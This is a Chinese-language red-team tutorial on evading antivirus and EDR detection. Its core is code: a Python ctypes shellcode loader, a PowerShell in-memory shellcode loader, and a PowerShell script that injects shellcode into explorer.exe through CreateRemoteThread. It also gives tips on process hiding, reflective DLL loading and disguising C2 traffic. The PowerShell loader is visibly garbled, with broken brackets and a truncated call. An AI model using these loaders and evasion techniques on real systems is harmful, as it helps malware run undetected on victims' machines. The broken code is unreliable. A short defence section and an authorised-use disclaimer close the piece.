0x01 反其道而行之

黑客示意图

在分析免杀技术之前,我们有必要先从防御的角度去理解攻击行为是如何被检测的。俗话说,知己知彼,百战不殆。现代的防御系统,包括杀毒软件和EDR(Endpoint Detection and Response)系统,主要通过特征匹配、行为分析、流量监控等多种方式检测攻击载荷。了解这些检测机制,才能更好地设计出能够逃避检测的免杀技术。

例如,特征匹配是基于已知样本的签名来识别恶意代码,简单直接但也容易被规避。行为分析则不同,通过监控可疑进程的操作来识别潜在威胁,但这需要大量的系统资源,因此通常用于高端EDR解决方案中。流量监控则是通过分析网络流量中的异常模式来发现攻击者的C2(Command and Control)通信。

因此,免杀技术的核心在于如何伪装、规避或中断这些检测机制,让恶意代码能够在目标系统中悄无声息地执行。

0x02 环境搭建那些事儿

为了进行深入的免杀技术探索,我们需要一个真实的安全实验环境。建议使用虚拟化平台,例如VMware或VirtualBox,来搭建一个包含目标系统和攻击机的隔离网络环境。目标系统可以是Windows 10或Windows Server 2022,攻击机可以是Kali Linux或Parrot Security OS。

环境准备步骤

  1. 安装虚拟化软件:选择VMware Workstation或VirtualBox,安装并配置网络为Host-Only或NAT模式。
  1. 配置目标系统:安装Windows操作系统,并确保启用Windows Defender或安装第三方杀毒软件以测试免杀效果。建议在系统中安装一些常用的办公软件,以模拟真实办公环境。
  1. 攻击机准备:在Kali Linux上安装Metasploit、Cobalt Strike等攻击工具,并准备好一些自定义的Payload生成脚本。
  1. 网络配置:确保攻击机与目标系统之间可以相互通信,必要时调整防火墙策略以允许必要的测试流量。

这样一个易于控制和重置的环境,可以让我们在不怕误伤的情况下,反复尝试和优化我们的免杀技术。

黑客示意图

0x03 Payload构造的艺术

所谓免杀的艺术,本质上是Payload构造的艺术。一个成功的免杀Payload需要在功能和隐秘性之间找到平衡。这里我们以Python和PowerShell语言为基础,讲解如何构造一个简单但有效的免杀Payload。

Python免杀Payload

Python是一种强大的攻击载荷构造语言,我们可以利用其丰富的库和动态执行特性来生成复杂的免杀Payload。

<pre><code class="language-python">import base64 import ctypes import subprocess

这里我们使用Base64编码来隐藏我们的Shellcode

shellcode = base64.b64decode(&quot;这里是你的编码后的Shellcode&quot;)

黑客示意图

使用ctypes模块加载Shellcode到内存中

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p ptr = ctypes.windll.kernel32.VirtualAlloc(None, len(shellcode), 0x3000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), shellcode, len(shellcode)) ht = ctypes.windll.kernel32.CreateThread(None, 0, ctypes.c_void_p(ptr), None, 0, None) ctypes.windll.kernel32.WaitForSingleObject(ht, -1)</code></pre>

PowerShell免杀技巧

PowerShell脚本由于其强大的系统管理功能,常被用于攻击载荷中。我们可以利用其内存加载及反射技术实现免杀。

<pre><code class="language-powershell"># 将Shellcode进行Base64编码后放入这里 $code = &quot;[省略的编码后的Shellcode]&quot;

使用反射技术在内存中执行Shellcode

$bytes = [System.Convert]::FromBase64String($code) $unsafeNativeMethods = Add-Type -memberDefinition @&quot; [DllImport(&quot;kernel32&quot;)] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport(&quot;kernel32&quot;)] public static extern IntPtr RtlMoveMemory(IntPtr dest, IntPtr src, uint count); &quot;@ -name &quot;UnsafeNativeMethods&quot; -namespace Win32Functions -passThru

$ptr = $unsafeNativeMethods::VirtualAlloc(IntPtr]::Zero, $bytes.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($bytes, 0, $ptr, $bytes.Length) $unsafeNativeMethods::RtlMoveMemory($ptr, [IntPtr, UInt32)</code></pre>

通过对Shellcode进行Base64编码并利用内存加载技术,以上两种Payload在大多数情况下能成功绕过静态签名检测。

0x04 绕过EDR的猫鼠游戏

现今的EDR系统比传统杀毒软件更加智能,往往结合了行为分析和机器学习来检测攻击行为。为了绕过EDR的检测,我们需要更高级的伪装技巧。

常见EDR检测点

  1. 进程注入行为:EDR通常会监控进程间通信和内存访问行为。
  2. 恶意DLL注入:通过加载恶意DLL的行为也会被重点监控。
  3. 异常网络连接:突然出现的外部网络连接可能触发警报。

绕过技巧

  1. 进程隐匿:使用合法进程作为载体进行进程注入,如svchost.exe和explorer.exe。
  1. 内存反射加载:避免使用LoadLibrary等传统API加载DLL,而是使用反射技术从内存中加载执行。
  1. 流量伪装:模仿合法应用程序的网络行为,使用HTTPS协议进行加密通信,并混入正常流量中。

在进行对抗测试时,我们可以利用以下PowerShell脚本来进行简单的进程注入测试,注意确保在合法环境中执行。

<pre><code class="language-powershell">$targetProc = Get-Process | Where-Object { $_.Name -eq &quot;explorer&quot; } $hProcess = [kernel32]::OpenProcess(0x1F0FFF, $false, $targetProc.Id)

生成伪装的Shellcode

$shellcode = [System.Convert]::FromBase64String(&quot;[编码后的Shellcode]&quot;) $addr = [kernel32]::VirtualAllocEx($hProcess, [IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $addr, $shellcode.Length) $hThread = [kernel32]::CreateRemoteThread($hProcess, [IntPtr]::Zero, 0, $addr, [IntPtr]::Zero, 0, [IntPtr]::Zero)</code></pre>

0x05 检测与防御的博弈

黑客示意图

虽然作为红队攻击者,我们专注于绕过防御系统,但了解对手的防御策略同样重要。以下是一些常见的检测技术和防御措施。

防御策略

  1. 启用高级EDR功能:确保EDR系统开启所有高级检测功能,包括内存保护和网络监控。
  1. 行为监控:使用SIEM(Security Information and Event Management)系统,实时监控系统和网络中的异常行为。
  1. 流量分析:配置NIDS(Network Intrusion Detection System)来分析网络流量中的可疑模式。

防御实践

虽然攻击者可以利用复杂的免杀技术躲避检测,但基于多层次的防御策略,却能有效降低成功攻击的可能性。定期更新防御产品、加强员工安全意识培训,以及开展渗透测试以发现并修复系统中的潜在漏洞,都是行之有效的防御措施。

0x06 经验之谈

在免杀技术的探索中,我深刻体会到,每一种成功的免杀方案背后,都是对防御系统深入理解和反向利用的结果。不要拘泥于某一种技术,灵活地结合多种技术,才能设计出真正有效的免杀Payload。每一次的失败都是一次学习的机会,分析失败原因,调整策略,不断完善自己的技术。

同时,我建议作为红队攻击者的我们,始终保持对安全新趋势的关注。无论是新出现的防御技术,还是新的攻击向量,都可能成为我们下一个研究的方向。最终的目标,不仅是在技术上击败对手,更是不断提升自己在安全领域的深度和广度。

声明:本文仅限用于授权环境中的安全研究,严禁用于非法目的。